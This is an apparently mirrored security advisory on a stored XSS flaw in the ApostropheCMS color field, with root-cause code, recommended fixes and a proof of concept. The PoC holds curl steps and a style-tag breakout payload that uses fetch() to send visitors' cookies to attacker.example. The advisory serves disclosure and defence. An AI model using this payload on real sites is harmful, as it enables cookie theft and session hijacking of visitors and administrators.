Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-97v6-998m-fp4g
No affected components available
Summary
The @apostrophecms/color-field module bypasses color validation for values prefixed with -- (intended for CSS custom properties), but performs no HTML sanitization on these values. When styles containing attacker-controlled color values are rendered into <style> tags — both in the global stylesheet (editors only) and in per-widget style elements (all visitors) — the lack of escaping allows an editor to inject </style> followed by arbitrary HTML/JavaScript, achieving stored XSS against all site visitors.
Details
Root Cause 1: Validation bypass in color field (modules/@apostrophecms/color-field/index.js:36)
The color field's convert method uses TinyColor to validate color values, but exempts any value starting with --:
// modules/@apostrophecms/color-field/index.js:26-38
async convert(req, field, data, destination) {
destination[field.name] = self.apos.launder.string(data[field.name]);
// ...
const test = new TinyColor(destination[field.name]);
if (!test.isValid && !destination[field.name].startsWith('--')) {
destination[field.name] = null;
}
},
A value like --x: red}</style><script>alert(document.cookie)</script><style> passes validation because it starts with --. The launder.string() call performs type coercion only — it does not strip HTML metacharacters like <, >, or /.
Root Cause 2a: Unescaped rendering in widget styles (public path) (modules/@apostrophecms/styles/lib/methods.js:232-234)
The getWidgetElements() method concatenates the CSS string directly into a <style> tag:
// modules/@apostrophecms/styles/lib/methods.js:232-234
return `<style data-apos-widget-style-for="${widgetId}" data-apos-widget-style-id="${styleId}">\n` +
css +
'\n</style>';
This is then marked as safe HTML via template.safe() in the helpers (modules/@apostrophecms/styles/lib/helpers.js:17-20), and rendered for all visitors on any page containing a styled widget (modules/@apostrophecms/widget-type/index.js:426-432).
Root Cause 2b: Unescaped rendering in global stylesheet (editor path) (modules/@apostrophecms/template/index.js:1164-1165)
The renderNodes() function returns node.raw without escaping:
// modules/@apostrophecms/template/index.js:1164-1165
if (node.raw != null) {
return node.raw;
}
Style nodes containing the malicious color values are rendered as raw HTML, affecting editors and admins who can view-draft.
PoC
Prerequisites: An account with editor role on an Apostrophe 4.x instance. The site must have at least one piece or page type with a color field used in styles configuration.
Step 1: Authenticate and obtain a CSRF token and session cookie.
# Login as editor
COOKIE_JAR=$(mktemp)
curl -s -c "$COOKIE_JAR" -X POST http://localhost:3000/api/v1/@apostrophecms/login/login \
-H "Content-Type: application/json" \
-d '{"username":"editor","password":"editor123"}'
# Extract CSRF token
CSRF=$(curl -s -b "$COOKIE_JAR" http://localhost:3000/api/v1/@apostrophecms/i18n/locale/en | grep -o '"csrfToken":"[^"]*"' | cut -d'"' -f4)
Step 2: Create or update a piece/page with a malicious color value in a styled widget.
The exact API route depends on the site's widget configuration. For a widget type that uses a color field in its styles schema (e.g., a background-color style property):
# Inject XSS payload via color field in widget styles
# The --x prefix bypasses TinyColor validation
PAYLOAD='--x: red}</style><img src=x onerror="fetch(`https://attacker.example/steal?c=`+document.cookie)"><style>'
curl -s -b "$COOKIE_JAR" -X POST \
"http://localhost:3000/api/v1/@apostrophecms/page" \
-H "Content-Type: application/json" \
-H "X-XSRF-TOKEN: $CSRF" \
-d '{
"slug": "/xss-test",
"title": "Test Page",
"type": "default-page",
"main": {
"items": [{
"type": "some-widget",
"styles": {
"backgroundColor": "'"$PAYLOAD"'"
}
}]
}
}'
Step 3: Publish the page.
curl -s -b "$COOKIE_JAR" -X POST \
"http://localhost:3000/api/v1/@apostrophecms/page/{pageId}/publish" \
-H "X-XSRF-TOKEN: $CSRF"
Step 4: Any visitor navigates to the published page.
# As an unauthenticated visitor
curl -s http://localhost:3000/xss-test | grep -A2 'onerror'
Expected (safe): The color value is escaped or rejected.
Actual: The rendered HTML contains:
<style data-apos-widget-style-for="..." data-apos-widget-style-id="...">
.apos-widget-style-... { background-color: --x: red}</style><img src=x onerror="fetch(`https://attacker.example/steal?c=`+document.cookie)"><style>; }
</style>
The injected </style> closes the style tag, and the <img onerror> executes JavaScript in the visitor's browser.
Impact
- Stored XSS on public pages (Path B): An editor can inject JavaScript that executes for every visitor to any page containing the affected widget. This enables mass cookie theft, session hijacking, keylogging, phishing overlays, and drive-by malware delivery against the site's entire audience.
- Privilege escalation (Path A): An editor can steal admin session tokens from higher-privileged users viewing draft content, escalating to full administrative control of the CMS.
- Persistence: The payload is stored in the database and survives restarts. It executes on every page load until the content is manually edited.
- No CSP mitigation: Apostrophe does not enforce a strict Content-Security-Policy by default, so inline script execution is not blocked.
Recommended Fix
Fix 1: Sanitize color values in the color field's convert method (modules/@apostrophecms/color-field/index.js):
// Before (line 36):
if (!test.isValid && !destination[field.name].startsWith('--')) {
destination[field.name] = null;
}
// After:
if (!test.isValid && !destination[field.name].startsWith('--')) {
destination[field.name] = null;
} else if (destination[field.name].startsWith('--')) {
// CSS custom property names: only allow alphanumeric, hyphens, underscores
if (!/^--[a-zA-Z0-9_-]+$/.test(destination[field.name])) {
destination[field.name] = null;
}
}
Fix 2: Escape CSS output in getWidgetElements (modules/@apostrophecms/styles/lib/methods.js):
// Before (line 232-234):
return `<style data-apos-widget-style-for="${widgetId}" data-apos-widget-style-id="${styleId}">\n` +
css +
'\n</style>';
// After:
const sanitizedCss = css.replace(/<\//g, '<\\/');
return `<style data-apos-widget-style-for="${widgetId}" data-apos-widget-style-id="${styleId}">\n` +
sanitizedCss +
'\n</style>';
Both fixes should be applied: Fix 1 provides input validation (defense in depth at the data layer), and Fix 2 provides output encoding (preventing style tag breakout regardless of the input source).
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. The attacker needs the user to perform some action, like clicking a link. The vulnerability can affect other systems as well, not just the initial system. There is a low impact on the confidentiality of the information. There is a low impact on the integrity of the data.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard